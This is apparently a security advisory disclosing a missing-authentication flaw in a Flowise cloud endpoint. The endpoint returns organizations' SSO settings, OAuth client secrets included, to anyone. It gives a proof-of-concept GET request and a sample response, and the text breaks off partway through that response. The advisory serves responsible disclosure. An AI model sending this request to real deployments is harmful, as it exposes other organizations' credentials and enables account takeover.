GHSA-6pcv-j4jx-m4vx

### Summary I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext. ### PoC The following request can be sent by anyone on the internet without any cookies or authorization headers. Request ```http GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2 Host: cloud.flowiseai.com Accept: application/json Content-Type: application/json ``` Response: The server returns 200 OK with sensitive credentials: ```json { "providers": [ { "id": "a04ba769-b810-481d-8d6b-84f8c377dea5", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "azure", "config": { "tenantID": "", "clientID": "", "clientSecret": "" }, "status": "disable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" }, { "id": "eda8bd90-1c45-4aca-933f-3a53d9be4161", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "google", "config": { "clientID": "123455", "clientSecret": "123455" }, "status": "enable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" }, { "id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "auth0", "config": { "domain": "", "clientID": "", "clientSecret": "" }, "status": "disable", "createdDate": "2025-12